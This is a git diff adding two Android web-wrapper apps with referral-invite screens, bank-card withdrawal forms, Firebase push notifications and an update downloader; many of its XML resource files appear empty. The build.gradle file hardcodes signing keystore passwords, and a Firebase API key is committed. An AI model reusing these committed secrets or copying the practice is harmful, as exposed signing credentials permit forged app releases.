+ + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/dialog_action_withdrawapply.xml b/heygirl/src/main/res/layout/dialog_action_withdrawapply.xml new file mode 100644 index 0000000..9f0073e --- /dev/null +++ b/heygirl/src/main/res/layout/dialog_action_withdrawapply.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/dialog_select_action.xml b/heygirl/src/main/res/layout/dialog_select_action.xml new file mode 100644 index 0000000..846025f --- /dev/null +++ b/heygirl/src/main/res/layout/dialog_select_action.xml @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/item_invite_records.xml b/heygirl/src/main/res/layout/item_invite_records.xml new file mode 100644 index 0000000..5e3a4c0 --- /dev/null +++ b/heygirl/src/main/res/layout/item_invite_records.xml @@ -0,0 +1,22 @@ + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/layout/item_withdraw_records.xml b/heygirl/src/main/res/layout/item_withdraw_records.xml new file mode 100644 index 0000000..a8e6205 --- /dev/null +++ b/heygirl/src/main/res/layout/item_withdraw_records.xml @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/heygirl/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/heygirl/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/heygirl/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/heygirl/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/mipmap-hdpi/ic_empty.png b/heygirl/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/heygirl/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/heygirl/src/main/res/mipmap-hdpi/ic_pull_down.png b/heygirl/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/heygirl/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_close.png b/heygirl/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_email.png b/heygirl/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_email1.png b/heygirl/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_facebook.png b/heygirl/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_hometo.png b/heygirl/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_link.png b/heygirl/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_menu.png b/heygirl/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_notify_email.png b/heygirl/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/heygirl/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/heygirl/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/heygirl/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/heygirl/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_shousuo.png b/heygirl/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_tel.png b/heygirl/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/heygirl/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/heygirl/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/heygirl/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/heygirl/src/main/res/mipmap-xxhdpi/hey_girl.jpg b/heygirl/src/main/res/mipmap-xxhdpi/hey_girl.jpg new file mode 100644 index 0000000..b883788 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xxhdpi/hey_girl.jpg differ diff --git a/heygirl/src/main/res/mipmap-xxhdpi/start.jpg b/heygirl/src/main/res/mipmap-xxhdpi/start.jpg new file mode 100644 index 0000000..68fed87 Binary files /dev/null and b/heygirl/src/main/res/mipmap-xxhdpi/start.jpg differ diff --git a/heygirl/src/main/res/values-en/strings.xml b/heygirl/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..d702aab --- /dev/null +++ b/heygirl/src/main/res/values-en/strings.xml @@ -0,0 +1,55 @@ + + Please Set Your Password + Cancel + HEY GIRL + + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/heygirl/src/main/res/values-night/themes.xml b/heygirl/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..46bfc24 --- /dev/null +++ b/heygirl/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/values/colors.xml b/heygirl/src/main/res/values/colors.xml new file mode 100644 index 0000000..9e3eb0c --- /dev/null +++ b/heygirl/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #aadcf5 + #aadcf5 + #aadcf5 + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #aadcf5 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + + \ No newline at end of file diff --git a/heygirl/src/main/res/values/strings.xml b/heygirl/src/main/res/values/strings.xml new file mode 100644 index 0000000..dfdeb43 --- /dev/null +++ b/heygirl/src/main/res/values/strings.xml @@ -0,0 +1,76 @@ + + 请输入6位密码 + HEY妞学院 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/values/themes.xml b/heygirl/src/main/res/values/themes.xml new file mode 100644 index 0000000..7a8866e --- /dev/null +++ b/heygirl/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/xml/app_updater_paths.xml b/heygirl/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/heygirl/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/xml/network_security_config.xml b/heygirl/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/heygirl/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/heygirl/src/main/res/xml/provider_paths.xml b/heygirl/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/heygirl/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/heygirl/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/heygirl/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/hoh99/.gitignore b/hoh99/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/hoh99/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/hoh99/build.gradle b/hoh99/build.gradle new file mode 100644 index 0000000..386e396 --- /dev/null +++ b/hoh99/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.hoh99" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "hoh99" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/hoh99/dskjweb.jks b/hoh99/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/hoh99/dskjweb.jks differ diff --git a/hoh99/google-services.json b/hoh99/google-services.json new file mode 100644 index 0000000..64fc37c --- /dev/null +++ b/hoh99/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "185864555144", + "project_id": "hoh99-27d11", + "storage_bucket": "hoh99-27d11.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:185864555144:android:a0edff9b0657fcc5ef2d3d", + "android_client_info": { + "package_name": "com.web.hoh99" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBZS2U7faBTEDKLXXq9KEfaOp7fw-alPjc" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/hoh99/ppn.jks b/hoh99/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/hoh99/ppn.jks differ diff --git a/hoh99/proguard-rules.pro b/hoh99/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/hoh99/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/hoh99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/hoh99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/hoh99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/hoh99/src/main/AndroidManifest.xml b/hoh99/src/main/AndroidManifest.xml new file mode 100644 index 0000000..2835c49 --- /dev/null +++ b/hoh99/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hoh99/src/main/java/com/web/hoh99/MainActivity.java b/hoh99/src/main/java/com/web/hoh99/MainActivity.java new file mode 100644 index 0000000..6b03fb3 --- /dev/null +++ b/hoh99/src/main/java/com/web/hoh99/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.hoh99; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 180; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://hoh99.net/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/hoh99/src/main/java/com/web/hoh99/MyFirebaseMessageingService.java b/hoh99/src/main/java/com/web/hoh99/MyFirebaseMessageingService.java new file mode 100644 index 0000000..714a491 --- /dev/null +++ b/hoh99/src/main/java/com/web/hoh99/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.hoh99; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/hoh99/src/main/java/com/web/hoh99/WebApplication.java b/hoh99/src/main/java/com/web/hoh99/WebApplication.java new file mode 100644 index 0000000..22a5665 --- /dev/null +++ b/hoh99/src/main/java/com/web/hoh99/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.hoh99; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/hoh99/src/main/res/drawable-anydpi/ic_action_back.xml b/hoh99/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/hoh99/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/hoh99/src/main/res/drawable-hdpi/ic_action_back.png b/hoh99/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/hoh99/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/hoh99/src/main/res/drawable-mdpi/ic_action_back.png b/hoh99/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/hoh99/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/hoh99/src/main/res/drawable-v24/ic_launcher_foreground.xml b/hoh99/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/hoh99/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/drawable-xhdpi/ic_action_back.png b/hoh99/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/hoh99/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/hoh99/src/main/res/drawable-xxhdpi/ic_action_back.png b/hoh99/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/hoh99/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/hoh99/src/main/res/drawable/big_bg.xml b/hoh99/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/hoh99/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/drawable/ic_launcher_background.xml b/hoh99/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/hoh99/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/hoh99/src/main/res/drawable/input_bg.xml b/hoh99/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/hoh99/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/hoh99/src/main/res/drawable/pass_word_bg.xml b/hoh99/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/hoh99/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/hoh99/src/main/res/drawable/pass_word_bg1.xml b/hoh99/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/hoh99/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/drawable/pass_word_bg2.xml b/hoh99/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/hoh99/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/drawable/shape_btn_bg.xml b/hoh99/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/hoh99/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/drawable/shape_dialog_bg2.xml b/hoh99/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/hoh99/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/drawable/shape_dialog_bg3.xml b/hoh99/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/hoh99/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git 